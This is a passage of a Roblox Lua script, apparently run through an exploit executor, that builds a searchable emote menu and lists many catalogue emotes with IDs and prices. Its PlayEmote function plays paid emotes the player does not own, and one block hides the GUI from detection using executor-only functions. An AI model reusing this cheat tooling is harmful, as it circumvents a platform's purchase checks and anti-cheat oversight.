local Corner = Instance.new("UICorner")
Corner.Parent = EmoteName
local Loading = Instance.new("TextLabel", BackFrame)
Loading.AnchorPoint = Vector2.new(0.5, 0.5)
Loading.Text = "Fixing.."
Loading.TextColor3 = Color3.new(1, 1, 1)
Loading.BackgroundColor3 = Color3.new(0, 0, 0)
Loading.TextScaled = true
Loading.BackgroundTransparency = 0.5
Loading.Size = UDim2.fromScale(0.2, 0.1)
Loading.Position = UDim2.fromScale(0.5, 0.2)
Corner:Clone().Parent = Loading
local Frame = Instance.new("ScrollingFrame")
Frame.Size = UDim2.new(1, 0, 1, 0)
Frame.CanvasSize = UDim2.new(0, 0, 0, 0)
Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y
Frame.ScrollingDirection = Enum.ScrollingDirection.Y
Frame.AnchorPoint = Vector2.new(0.5, 0.5)
Frame.Position = UDim2.new(0.5, 0, 0.5, 0)
Frame.BackgroundTransparency = 1
Frame.ScrollBarThickness = 5
Frame.BorderSizePixel = 0
Frame.MouseLeave:Connect(function()
EmoteName.Text = "Select an Emote"
end)
Frame.Parent = BackFrame
local Grid = Instance.new("UIGridLayout")
Grid.CellSize = UDim2.new(0.105, 0, 0, 0)
Grid.CellPadding = UDim2.new(0.006, 0, 0.006, 0)
Grid.SortOrder = Enum.SortOrder.LayoutOrder
Grid.Parent = Frame
local SortFrame = Instance.new("Frame")
SortFrame.Visible = false
SortFrame.BorderSizePixel = 0
SortFrame.Position = UDim2.new(1, 5, -0.125, 0)
SortFrame.Size = UDim2.new(0.2, 0, 0, 0)
SortFrame.AutomaticSize = Enum.AutomaticSize.Y
SortFrame.BackgroundTransparency = 1
Corner:Clone().Parent = SortFrame
SortFrame.Parent = BackFrame
local SortList = Instance.new("UIListLayout")
SortList.Padding = UDim.new(0.02, 0)
SortList.HorizontalAlignment = Enum.HorizontalAlignment.Center
SortList.VerticalAlignment = Enum.VerticalAlignment.Top
SortList.SortOrder = Enum.SortOrder.LayoutOrder
SortList.Parent = SortFrame
local function SortEmotes()
for i,Emote in pairs(Emotes) do
local EmoteButton = Frame:FindFirstChild(Emote.id)
if not EmoteButton then
continue
end
local IsFavorited = table.find(FavoritedEmotes, Emote.id)
EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + ((IsFavorited and 0) or #Emotes)
EmoteButton.number.Text = Emote.sort[CurrentSort]
end
end
local function createsort(order, text, sort)
local CreatedSort = Instance.new("TextButton")
CreatedSort.SizeConstraint = Enum.SizeConstraint.RelativeXX
CreatedSort.Size = UDim2.new(1, 0, 0.2, 0)
CreatedSort.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
CreatedSort.LayoutOrder = order
CreatedSort.TextColor3 = Color3.new(1, 1, 1)
CreatedSort.Text = text
CreatedSort.TextScaled = true
CreatedSort.BorderSizePixel = 0
Corner:Clone().Parent = CreatedSort
CreatedSort.Parent = SortFrame
CreatedSort.MouseButton1Click:Connect(function()
SortFrame.Visible = false
Open.Text = "Open"
CurrentSort = sort
SortEmotes()
end)
return CreatedSort
end
createsort(1, "Recently Updated First", "recentfirst")
createsort(2, "Recently Updated Last", "recentlast")
createsort(3, "Alphabetically First", "alphabeticfirst")
createsort(4, "Alphabetically Last", "alphabeticlast")
createsort(5, "Highest Price", "highestprice")
createsort(6, "Lowest Price", "lowestprice")
local SortButton = Instance.new("TextButton")
SortButton.BorderSizePixel = 0
SortButton.AnchorPoint = Vector2.new(0.5, 0.5)
SortButton.Position = UDim2.new(0.925, -5, -0.075, 0)
SortButton.Size = UDim2.new(0.15, 0, 0.1, 0)
SortButton.TextScaled = true
SortButton.TextColor3 = Color3.new(1, 1, 1)
SortButton.BackgroundColor3 = Color3.new(0, 0, 0)
SortButton.BackgroundTransparency = 0.3
SortButton.Text = "Sort"
SortButton.MouseButton1Click:Connect(function()
SortFrame.Visible = not SortFrame.Visible
Open.Text = "Open"
end)
Corner:Clone().Parent = SortButton
SortButton.Parent = BackFrame
local CloseButton = Instance.new("TextButton")
CloseButton.BorderSizePixel = 0
CloseButton.AnchorPoint = Vector2.new(0.5, 0.5)
CloseButton.Position = UDim2.new(0.075, 0, -0.075, 0)
CloseButton.Size = UDim2.new(0.15, 0, 0.1, 0)
CloseButton.TextScaled = true
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.new(0.5, 0, 0)
CloseButton.BackgroundTransparency = 0.3
CloseButton.Text = "Kill Gui"
CloseButton.MouseButton1Click:Connect(function()
ScreenGui:Destroy()
end)
Corner:Clone().Parent = CloseButton
CloseButton.Parent = BackFrame
local SearchBar = Instance.new("TextBox")
SearchBar.BorderSizePixel = 0
SearchBar.AnchorPoint = Vector2.new(0.5, 0.5)
SearchBar.Position = UDim2.new(0.5, 0, -0.075, 0)
SearchBar.Size = UDim2.new(0.55, 0, 0.1, 0)
SearchBar.TextScaled = true
SearchBar.PlaceholderText = "Search"
SearchBar.TextColor3 = Color3.new(1, 1, 1)
SearchBar.BackgroundColor3 = Color3.new(0, 0, 0)
SearchBar.BackgroundTransparency = 0.3
SearchBar:GetPropertyChangedSignal("Text"):Connect(function()
local text = SearchBar.Text:lower()
local buttons = Frame:GetChildren()
if text ~= text:sub(1,50) then
SearchBar.Text = SearchBar.Text:sub(1,50)
text = SearchBar.Text:lower()
end
if text ~= "" then
for i,button in pairs(buttons) do
if button:IsA("GuiButton") then
local name = button:GetAttribute("name"):lower()
if name:match(text) then
button.Visible = true
else
button.Visible = false
end
end
end
else
for i,button in pairs(buttons) do
if button:IsA("GuiButton") then
button.Visible = true
end
end
end
end)
Corner:Clone().Parent = SearchBar
SearchBar.Parent = BackFrame
local function openemotes(name, state, input)
if state == Enum.UserInputState.Begin then
BackFrame.Visible = not BackFrame.Visible
Open.Text = "Open"
end
end
ContextActionService:BindCoreActionAtPriority(
"Emote Menu",
openemotes,
true,
2001,
Enum.KeyCode.Comma
)
local inputconnect
ScreenGui:GetPropertyChangedSignal("Enabled"):Connect(function()
if BackFrame.Visible == false then
EmoteName.Text = "Select an Emote"
SearchBar.Text = ""
SortFrame.Visible = false
GuiService:SetEmotesMenuOpen(false)
inputconnect = UserInputService.InputBegan:Connect(function(input, processed)
if not processed then
if input.UserInputType == Enum.UserInputType.MouseButton1 then
BackFrame.Visible = false
Open.Text = "Open"
end
end
end)
else
inputconnect:Disconnect()
end
end)
GuiService.EmotesMenuOpenChanged:Connect(function(isopen)
if isopen then
BackFrame.Visible = false
Open.Text = "Open"
end
end)
GuiService.MenuOpened:Connect(function()
BackFrame.Visible = false
Open.Text = "Open"
end)
if not game:IsLoaded() then
game.Loaded:Wait()
end
--thanks inf yield
local SynV3 = syn and DrawingImmediate
if (not is_sirhurt_closure) and (not SynV3) and (syn and syn.protect_gui) then
syn.protect_gui(ScreenGui)
ScreenGui.Parent = CoreGui
elseif get_hidden_gui or gethui then
local hiddenUI = get_hidden_gui or gethui
ScreenGui.Parent = hiddenUI()
else
ScreenGui.Parent = CoreGui
end
local function SendNotification(title, text)
if syn and syn.toast_notification then
syn.toast_notification({
Type = ToastType.Error,
Title = title,
Content = text
})
else
StarterGui:SetCore("SendNotification", {
Title = title,
Text = text
})
end
end
local LocalPlayer = Players.LocalPlayer
local function PlayEmote(name: string, id: IntValue)
BackFrame.Visible = false
Open.Text = "Open"
SearchBar.Text = ""
local Humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
local Description = Humanoid and Humanoid:FindFirstChildOfClass("HumanoidDescription")
if not Description then
return
end
if LocalPlayer.Character.Humanoid.RigType ~= Enum.HumanoidRigType.R6 then
local succ, err = pcall(function()
Humanoid:PlayEmoteAndGetAnimTrackById(id)
end)
if not succ then
Description:AddEmote(name, id)
Humanoid:PlayEmoteAndGetAnimTrackById(id)
end
else
SendNotification(
"r6? lol",
"you gotta be r15 dude"
)
end
end
local function WaitForChildOfClass(parent, class)
local child = parent:FindFirstChildOfClass(class)
while not child or child.ClassName ~= class do
child = parent.ChildAdded:Wait()
end
return child
end
local Emotes = {
{ name = "Around Town", id = 3576747102, icon = "rbxthumb://type=Asset&id=3576747102&w=150&h=150", price = 1000, lastupdated = 1663264200, sort = {} },
{
name = "TWICE TAKEDOWN DANCE 2",
id = 85623000473425,
icon = "rbxthumb://type=Asset&id=85623000473425&w=150&h=150",
price = 100,
lastupdated = 1752192000,
sort = {}
},
{ name = "Fashionable", id = 3576745472, icon = "rbxthumb://type=Asset&id=3576745472&w=150&h=150", price = 750, lastupdated = 1663281649, sort = {} },
{ name = "Swish", id = 3821527813, icon = "rbxthumb://type=Asset&id=3821527813&w=150&h=150", price = 750, lastupdated = 1663281651, sort = {} },
{ name = "Top Rock", id = 3570535774, icon = "rbxthumb://type=Asset&id=3570535774&w=150&h=150", price = 750, lastupdated = 1663281651, sort = {} },
{ name = "Fancy Feet", id = 3934988903, icon = "rbxthumb://type=Asset&id=3934988903&w=150&h=150", price = 500, lastupdated = 1663281649, sort = {} },
{ name = "Idol", id = 4102317848, icon = "rbxthumb://type=Asset&id=4102317848&w=150&h=150", price = 500, lastupdated = 1663281650, sort = {} },
{ name = "Sneaky", id = 3576754235, icon = "rbxthumb://type=Asset&id=3576754235&w=150&h=150", price = 500, lastupdated = 1663281651, sort = {} },
{ name = "Elton John - Piano Jump", id = 11453096488, icon = "rbxthumb://type=Asset&id=11453096488&w=150&h=150", price = 500, lastupdated = 1668382206, sort = {} },
{ name = "Cartwheel - George Ezra", id = 10370929905, icon = "rbxthumb://type=Asset&id=10370929905&w=150&h=150", price = 450, lastupdated = 1659650848, sort = {} },
{ name = "Super Charge", id = 10478368365, icon = "rbxthumb://type=Asset&id=10478368365&w=150&h=150", price = 450, lastupdated = 1659649594, sort = {} },
{ name = "Rise Above - The Chainsmokers", id = 13071993910, icon = "rbxthumb://type=Asset&id=13071993910&w=150&h=150", price = 400, lastupdated = 1681411386, sort = {} },
{ name = "Elton John - Elevate", id = 11394056822, icon = "rbxthumb://type=Asset&id=11394056822&w=150&h=150", price = 400, lastupdated = 1667432393, sort = {} },
{ name = "Sturdy Dance - Ice Spice", id = 17746270218, icon = "rbxthumb://type=Asset&id=17746270218&w=150&h=150", price = 300, lastupdated = 1717619314, sort = {} },
{ name = "YUNGBLUD – HIGH KICK", id = 14022978026, icon = "rbxthumb://type=Asset&id=14022978026&w=150&h=150", price = 300, lastupdated = 1691769382, sort = {} },
{ name = "Robot", id = 3576721660, icon = "rbxthumb://type=Asset&id=3576721660&w=150&h=150", price = 250, lastupdated = 1663281650, sort = {} },
{ name = "Louder", id = 3576751796, icon = "rbxthumb://type=Asset&id=3576751796&w=150&h=150", price = 250, lastupdated = 1663281650, sort = {} },
{ name = "Twirl", id = 3716633898, icon = "rbxthumb://type=Asset&id=3716633898&w=150&h=150", price = 250, lastupdated = 1663281651, sort = {} },
{ name = "Bodybuilder", id = 3994130516, icon = "rbxthumb://type=Asset&id=3994130516&w=150&h=150", price = 200, lastupdated = 1663281649, sort = {} },
{ name = "NBA Monster Dunk", id = 117511481049460, icon = "rbxthumb://type=Asset&id=117511481049460&w=150&h=150", price = 200, lastupdated = 1739396302, sort = {} },
{ name = "Jacks", id = 3570649048, icon = "rbxthumb://type=Asset&id=3570649048&w=150&h=150", price = 200, lastupdated = 1663281650, sort = {} },
{ name = "Shuffle", id = 4391208058, icon = "rbxthumb://type=Asset&id=4391208058&w=150&h=150", price = 200, lastupdated = 1663281651, sort = {} },
{ name = "Elton John - Still Standing", id = 11435177473, icon = "rbxthumb://type=Asset&id=11435177473&w=150&h=150", price = 200, lastupdated = 1667779047, sort = {} },
{ name = "Elton John - Cat Man", id = 11435175895, icon = "rbxthumb://type=Asset&id=11435175895&w=150&h=150", price = 200, lastupdated = 1667535727, sort = {} },
{ name = "Shrek Roar", id = 18524331128, icon = "rbxthumb://type=Asset&id=18524331128&w=150&h=150", price = 200, lastupdated = 1721176055, sort = {} },
{ name = "Dorky Dance", id = 4212499637, icon = "rbxthumb://type=Asset&id=4212499637&w=150&h=150", price = 200, lastupdated = 1663281649, sort = {} },
{ name = "HOLIDAY Dance - Lil Nas X (LNX)", id = 5938396308, icon = "rbxthumb://type=Asset&id=5938396308&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} },
{ name = "Old Town Road Dance - Lil Nas X (LNX)", id = 5938394742, icon = "rbxthumb://type=Asset&id=5938394742&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} },
{ name = "Panini Dance - Lil Nas X (LNX)", id = 5915781665, icon = "rbxthumb://type=Asset&id=5915781665&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} },
{ name = "Rodeo Dance - Lil Nas X (LNX)", id = 5938397555, icon = "rbxthumb://type=Asset&id=5938397555&w=150&h=150", price = 190, lastupdated = 1663281651, sort = {} },
{ name = "Drum Master - Royal Blood", id = 6531538868, icon = "rbxthumb://type=Asset&id=6531538868&w=150&h=150", price = 190, lastupdated = 1663281649, sort = {} },
{ name = "It Ain't My Fault - Zara Larsson", id = 6797948622, icon = "rbxthumb://type=Asset&id=6797948622&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} },
{ name = "Flex Walk", id = 15506506103, icon = "rbxthumb://type=Asset&id=15506506103&w=150&h=150", price = 175, lastupdated = 1705451683, sort = {} },
{ name = "Dizzy", id = 3934986896, icon = "rbxthumb://type=Asset&id=3934986896&w=150&h=150", price = 175, lastupdated = 1663281649, sort = {} },
{ name = "Uprise - Tommy Hilfiger", id = 10275057230, icon = "rbxthumb://type=Asset&id=10275057230&w=150&h=150", price = 170, lastupdated = 1660240736, sort = {} },
{ name = "Tommy - Archer", id = 13823339506, icon = "rbxthumb://type=Asset&id=13823339506&w=150&h=150", price = 170, lastupdated = 1687980934, sort = {} },
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{ name = "Alo Yoga Pose - Triangle", id = 12507120275, icon = "rbxthumb://type=Asset&id=12507120275&w=150&h=150", price = 50, lastupdated = 1677711156, sort = {} },
{ name = "Cuco - Levitate", id = 15698511500, icon = "rbxthumb://type=Asset&id=15698511500&w=150&h=150", price = 50, lastupdated = 1708707329, sort = {} },
{ name = "Rock n Roll", id = 15506496093, icon = "rbxthumb://type=Asset&id=15506496093&w=150&h=150", price = 50, lastupdated = 1705451701, sort = {} },
{ name = "Shy", id = 3576717965, icon = "rbxthumb://type=Asset&id=3576717965&w=150&h=150", price = 50, lastupdated = 1663281651, sort = {} },
{ name = "Alo Yoga Pose - Lotus Position", id = 12507097350, icon = "rbxthumb://type=Asset&id=12507097350&w=150&h=150", price = 50, lastupdated = 1677711092, sort = {} },
{ name = "Curtsy", id = 4646306583, icon = "rbxthumb://type=Asset&id=4646306583&w=150&h=150", price = 50, lastupdated = 1663281649, sort = {} },
{ name = "Celebrate", id = 3994127840, icon = "rbxthumb://type=Asset&id=3994127840&w=150&h=150", price = 50, lastupdated = 1663281649, sort = {} },
{ name = "Yungblud Happier Jump", id = 15610015346, icon = "rbxthumb://type=Asset&id=15610015346&w=150&h=150", price = 50, lastupdated = 1702326238, sort = {} },
{ name = "Baby Queen - Face Frame", id = 14353421343, icon = "rbxthumb://type=Asset&id=14353421343&w=150&h=150", price = 50, lastupdated = 1692371043, sort = {} },
{ name = "Confused", id = 4940592718, icon = "rbxthumb://type=Asset&id=4940592718&w=150&h=150", price = 50, lastupdated = 1590791657, sort = {} },
{ name = "Beckon", id = 5230615437, icon = "rbxthumb://type=Asset&id=5230615437&w=150&h=150", price = 50, lastupdated = 1663281649, sort = {} },
{ name = "Secret Handshake Dance", id = 120642514156293, icon = "rbxthumb://type=Asset&id=120642514156293&w=150&h=150", price = 50, lastupdated = 1733254849, sort = {} },
{ name = "Baby Queen - Air Guitar & Knee Slide", id = 14353417553, icon = "rbxthumb://type=Asset&id=14353417553&w=150&h=150", price = 50, lastupdated = 1692371054, sort = {} },
{ name = "Baby Queen - Bouncy Twirl", id = 14353423348, icon = "rbxthumb://type=Asset&id=14353423348&w=150&h=150", price = 50, lastupdated = 1692371037, sort = {} },
{ name = "Baby Queen - Strut", id = 14353425085, icon = "rbxthumb://type=Asset&id=14353425085&w=150&h=150", price = 50, lastupdated = 1692371026, sort = {} },
{ name = "Baby Queen - Dramatic Bow", id = 14353419229, icon = "rbxthumb://type=Asset&id=14353419229&w=150&h=150", price = 50, lastupdated = 1692371048, sort = {} },
{ name = "Sad", id = 4849502101, icon = "rbxthumb://type=Asset&id=4849502101&w=150&h=150", price = 50, lastupdated = 1663281651, sort = {} },
{ name = "Robot M3GAN", id = 90569436057900, icon = "rbxthumb://type=Asset&id=90569436057900&w=150&h=150", price = 1, lastupdated = 1749316525, sort = {} },
{ name = "Nicki Minaj Anaconda", id = 15571539403, icon = "rbxthumb://type=Asset&id=15571539403&w=150&h=150", price = 0, lastupdated = 1702052956, sort = {} },
{ name = "Cha-Cha", id = 3696764866, icon = "rbxthumb://type=Asset&id=3696764866&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "BURBERRY LOLA ATTITUDE - BLOOM", id = 10147919199, icon = "rbxthumb://type=Asset&id=10147919199&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "Skadoosh Emote - Kung Fu Panda 4", id = 16371235025, icon = "rbxthumb://type=Asset&id=16371235025&w=150&h=150", price = 0, lastupdated = 1708496660, sort = {} },
{ name = "Chicken Dance", id = 4849493309, icon = "rbxthumb://type=Asset&id=4849493309&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "BLACKPINK Don't know what to do", id = 18855609889, icon = "rbxthumb://type=Asset&id=18855609889&w=150&h=150", price = 0, lastupdated = 1723090163, sort = {} },
{ name = "Man City Scorpion Kick", id = 13694139364, icon = "rbxthumb://type=Asset&id=13694139364&w=150&h=150", price = 0, lastupdated = 1688061827, sort = {} },
{ name = "Gashina - SUNMI", id = 9528294735, icon = "rbxthumb://type=Asset&id=9528294735&w=150&h=150", price = 0, lastupdated = 1651539455, sort = {} },
{ name = "Fashion Spin", id = 130046968468383, icon = "rbxthumb://type=Asset&id=130046968468383&w=150&h=150", price = 0, lastupdated = 1732653968, sort = {} },
{ name = "Country Line Dance - Lil Nas X (LNX)", id = 5915780563, icon = "rbxthumb://type=Asset&id=5915780563&w=150&h=150", price = 0, lastupdated = 1605561299, sort = {} },
{ name = "Sandwich Dance", id = 4390121879, icon = "rbxthumb://type=Asset&id=4390121879&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "BLACKPINK LISA Money", id = 15679957363, icon = "rbxthumb://type=Asset&id=15679957363&w=150&h=150", price = 0, lastupdated = 1703004397, sort = {} },
{ name = "Nicki Minaj That's That Super Bass Emote", id = 15571536896, icon = "rbxthumb://type=Asset&id=15571536896&w=150&h=150", price = 0, lastupdated = 1702052899, sort = {} },
{ name = "Salute", id = 3360689775, icon = "rbxthumb://type=Asset&id=3360689775&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "Olympic Dismount", id = 18666650035, icon = "rbxthumb://type=Asset&id=18666650035&w=150&h=150", price = 0, lastupdated = 1722014387, sort = {} },
{ name = "MANIAC - Stray Kids", id = 11309309359, icon = "rbxthumb://type=Asset&id=11309309359&w=150&h=150", price = 0, lastupdated = 1668458448, sort = {} },
{ name = "BLACKPINK JISOO Flower", id = 15439454888, icon = "rbxthumb://type=Asset&id=15439454888&w=150&h=150", price = 0, lastupdated = 1701124495, sort = {} },
{ name = "Man City Bicycle Kick", id = 13422286833, icon = "rbxthumb://type=Asset&id=13422286833&w=150&h=150", price = 0, lastupdated = 1684429651, sort = {} },
{ name = "Man City Backflip", id = 13694140956, icon = "rbxthumb://type=Asset&id=13694140956&w=150&h=150", price = 0, lastupdated = 1688061856, sort = {} },
{ name = "BLACKPINK Pink Venom - Straight to Ya Dome", id = 14548711723, icon = "rbxthumb://type=Asset&id=14548711723&w=150&h=150", price = 0, lastupdated = 1732579764, sort = {} },
{ name = "BLACKPINK Pink Venom - I Bring the Pain Like…", id = 14548710952, icon = "rbxthumb://type=Asset&id=14548710952&w=150&h=150", price = 0, lastupdated = 1732579780, sort = {} },
{ name = "Stadium", id = 3360686498, icon = "rbxthumb://type=Asset&id=3360686498&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "BLACKPINK ROSÉ On The Ground", id = 15679958535, icon = "rbxthumb://type=Asset&id=15679958535&w=150&h=150", price = 0, lastupdated = 1703004441, sort = {} },
{ name = "Bunny Hop", id = 4646296016, icon = "rbxthumb://type=Asset&id=4646296016&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "BLACKPINK Shut Down - Part 1", id = 14901369589, icon = "rbxthumb://type=Asset&id=14901369589&w=150&h=150", price = 0, lastupdated = 1732579788, sort = {} },
{ name = "BLACKPINK Kill This Love", id = 16181843366, icon = "rbxthumb://type=Asset&id=16181843366&w=150&h=150", price = 0, lastupdated = 1706724495, sort = {} },
{ name = "SpongeBob Dance", id = 18443271885, icon = "rbxthumb://type=Asset&id=18443271885&w=150&h=150", price = 0, lastupdated = 1720722377, sort = {} },
{ name = "Borock's Rage", id = 3236848555, icon = "rbxthumb://type=Asset&id=3236848555&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "The Conductor - George Ezra", id = 10370926562, icon = "rbxthumb://type=Asset&id=10370926562&w=150&h=150", price = 0, lastupdated = 1658879306, sort = {} },
{ name = "Swag Walk", id = 10478377385, icon = "rbxthumb://type=Asset&id=10478377385&w=150&h=150", price = 0, lastupdated = 1659642405, sort = {} },
{ name = "BLACKPINK Shut Down - Part 2", id = 14901371589, icon = "rbxthumb://type=Asset&id=14901371589&w=150&h=150", price = 0, lastupdated = 1732579772, sort = {} },
{ name = "BLACKPINK Ice Cream", id = 16181840356, icon = "rbxthumb://type=Asset&id=16181840356&w=150&h=150", price = 0, lastupdated = 1706724478, sort = {} },
{ name = "Superhero Reveal", id = 3696759798, icon = "rbxthumb://type=Asset&id=3696759798&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "BLACKPINK Pink Venom - Get em Get em Get em", id = 14548709888, icon = "rbxthumb://type=Asset&id=14548709888&w=150&h=150", price = 0, lastupdated = 1732579749, sort = {} },
{ name = "NBA Monster Dunk", id = 82163305721376, icon = "rbxthumb://type=Asset&id=82163305721376&w=150&h=150", price = 0, lastupdated = 1739396236, sort = {} },
{ name = "TWICE ABCD by Nayeon", id = 18933761755, icon = "rbxthumb://type=Asset&id=18933761755&w=150&h=150", price = 0, lastupdated = 1723561480, sort = {} },
{ name = "BURBERRY LOLA ATTITUDE - NIMBUS", id = 10147924028, icon = "rbxthumb://type=Asset&id=10147924028&w=150&h=150", price = 0, lastupdated = 1657728069, sort = {} },
{ name = "Ud'zal's Summoning", id = 3307604888, icon = "rbxthumb://type=Asset&id=3307604888&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "TWICE Pop by Nayeon", id = 13768975574, icon = "rbxthumb://type=Asset&id=13768975574&w=150&h=150", price = 0, lastupdated = 1687549777, sort = {} },
{ name = "TWICE Set Me Free - Dance 1", id = 12715395038, icon = "rbxthumb://type=Asset&id=12715395038&w=150&h=150", price = 0, lastupdated = 1678474186, sort = {} },
{ name = "TWICE Set Me Free - Dance 2", id = 12715397488, icon = "rbxthumb://type=Asset&id=12715397488&w=150&h=150", price = 0, lastupdated = 1678474350, sort = {} },
{ name = "Hyperfast 5G Dance Move", id = 9408642191, icon = "rbxthumb://type=Asset&id=9408642191&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "You can't sit with us - Sunmi", id = 9983549160, icon = "rbxthumb://type=Asset&id=9983549160&w=150&h=150", price = 0, lastupdated = 1657679637, sort = {} },
{ name = "Hype Dance", id = 3696757129, icon = "rbxthumb://type=Asset&id=3696757129&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "BLACKPINK - How You Like That", id = 16874596971, icon = "rbxthumb://type=Asset&id=16874596971&w=150&h=150", price = 0, lastupdated = 1711414303, sort = {} },
{ name = "BLACKPINK - Lovesick Girls", id = 16874600526, icon = "rbxthumb://type=Asset&id=16874600526&w=150&h=150", price = 0, lastupdated = 1711414329, sort = {} },
{ name = "TWICE Like Ooh-Ahh", id = 14124050904, icon = "rbxthumb://type=Asset&id=14124050904&w=150&h=150", price = 0, lastupdated = 1689868872, sort = {} },
{ name = "Heisman Pose", id = 3696763549, icon = "rbxthumb://type=Asset&id=3696763549&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "BLACKPINK As If It's Your Last", id = 18855603653, icon = "rbxthumb://type=Asset&id=18855603653&w=150&h=150", price = 0, lastupdated = 1723090177, sort = {} },
{ name = "TWICE Moonlight Sunrise ", id = 12715393154, icon = "rbxthumb://type=Asset&id=12715393154&w=150&h=150", price = 0, lastupdated = 1678474249, sort = {} },
{ name = "TWICE Fancy", id = 13520623514, icon = "rbxthumb://type=Asset&id=13520623514&w=150&h=150", price = 0, lastupdated = 1685112803, sort = {} },
{ name = "Point2", id = 3576823880, icon = "rbxthumb://type=Asset&id=3576823880&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "BURBERRY LOLA ATTITUDE - GEM", id = 10147916560, icon = "rbxthumb://type=Asset&id=10147916560&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "Vroom Vroom", id = 18526410572, icon = "rbxthumb://type=Asset&id=18526410572&w=150&h=150", price = 0, lastupdated = 1721931643, sort = {} },
{ name = "Hwaiting (화이팅)", id = 9528291779, icon = "rbxthumb://type=Asset&id=9528291779&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "BLACKPINK JENNIE You and Me", id = 15439457146, icon = "rbxthumb://type=Asset&id=15439457146&w=150&h=150", price = 0, lastupdated = 1701124471, sort = {} },
{ name = "Tilt", id = 3360692915, icon = "rbxthumb://type=Asset&id=3360692915&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "Applaud", id = 5915779043, icon = "rbxthumb://type=Asset&id=5915779043&w=150&h=150", price = 0, lastupdated = 1663264200, sort = {} },
{ name = "BLACKPINK DDU-DU DDU-DU", id = 16553262614, icon = "rbxthumb://type=Asset&id=16553262614&w=150&h=150", price = 0, lastupdated = 1709100790, sort = {} },
{ name = "BURBERRY LOLA ATTITUDE - HYDRO", id = 10147926081, icon = "rbxthumb://type=Asset&id=10147926081&w=150&h=150", price = 0, lastupdated = 1657814503, sort = {} },
{ name = "BURBERRY LOLA ATTITUDE - REFLEX", id = 10147921916, icon = "rbxthumb://type=Asset&id=10147921916&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} },
{ name = "Air Guitar", id = 3696761354, icon = "rbxthumb://type=Asset&id=3696761354&w=150&h=150", price = 0, lastupdated = 1663264200, sort = {} },
{ name = "Annyeong (안녕)", id = 9528286240, icon = "rbxthumb://type=Asset&id=9528286240&w=150&h=150", price = 0, lastupdated = 1651539455, sort = {} },
{ name = "BLACKPINK Boombayah Emote", id = 16553259683, icon = "rbxthumb://type=Asset&id=16553259683&w=150&h=150", price = 0, lastupdated = 1709339907, sort = {} },
{ name = "Victory - 24kGoldn", id = 9178397781, icon = "rbxthumb://type=Asset&id=9178397781&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
{ name = "Hello", id = 3576686446, icon = "rbxthumb://type=Asset&id=3576686446&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} },
{ name = "Vans Ollie", id = 18305539673, icon = "rbxthumb://type=Asset&id=18305539673&w=150&h=150", price = 0, lastupdated = 1719938530, sort = {} },
{ name = "TWICE Strategy", id = 106862678450011, icon = "rbxthumb://type=Asset&id=106862678450011&w=150&h=150", price = 0, lastupdated = 1734540744, sort = {} },
{ name = "TWICE The Feels", id = 12874468267, icon = "rbxthumb://type=Asset&id=12874468267&w=150&h=150", price = 0, lastupdated = 1679673336, sort = {} },
{ name = "TWICE What Is Love", id = 13344121112, icon = "rbxthumb://type=Asset&id=13344121112&w=150&h=150", price = 0, lastupdated = 1683906913, sort = {} },
{ name = "Shrug", id = 3576968026, icon = "rbxthumb://type=Asset&id=3576968026&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} },
}
local function addEmote(name, id, price, date)
local months = {
Jan = 1, Feb = 2, Mar = 3, Apr = 4, May = 5, Jun = 6,
Jul = 7, Aug = 8, Sep = 9, Oct = 10, Nov = 11, Dec = 12
}
local function dateToUnix(d)
local mon, day, year = d:match("(%a+)%s+(%d+),%s*(%d+)")
return os.time({
year = tonumber(year),
month = months[mon],
day = tonumber(day),
hour = 0,
min = 0,
sec = 0
})
end
table.insert(Emotes, {
name = name,
id = id,
icon = "rbxthumb://type=Asset&id=" .. id .. "&w=150&h=150",
price = price,
lastupdated = dateToUnix(date),
sort = {}
})
end
addEmote("PARROT PARTY DANCE", 121067808279598, 39, "Aug 08, 2025")
addEmote("Dance n' Prance", 99031916674986, 39, "Aug 08, 2025")
addEmote("R15 Death (Accurate)", 114899970878842, 39, "Aug 08, 2025")
addEmote("Wally West", 133948663586698, 39, "Aug 08, 2025")
addEmote("Take The L", 123159156696507, 39, "Aug 08, 2025")
addEmote("Xaviersobased", 131763631172236, 39, "Aug 09, 2025")
addEmote("Belly Dancing", 131939729732240, 39, "Aug 08, 2025")
addEmote("RAT DANCE", 133461102795137, 78, "Aug 08, 2025")
addEmote("CaramellDansen", 93105950995997, 39, "Aug 08, 2025")
addEmote("Biblically Accurate", 133596366979822, 39, "Aug 08, 2025")
addEmote("Rambunctious", 134311528115559, 39, "Aug 08, 2025")
addEmote("Ballin", 96293409369770, 39, "Aug 17, 2025")
addEmote("Die Lit", 121001502815813, 39, "Aug 08, 2025")
addEmote("Nyan Nyan!", 73796726960568, 39, "Aug 08, 2025")
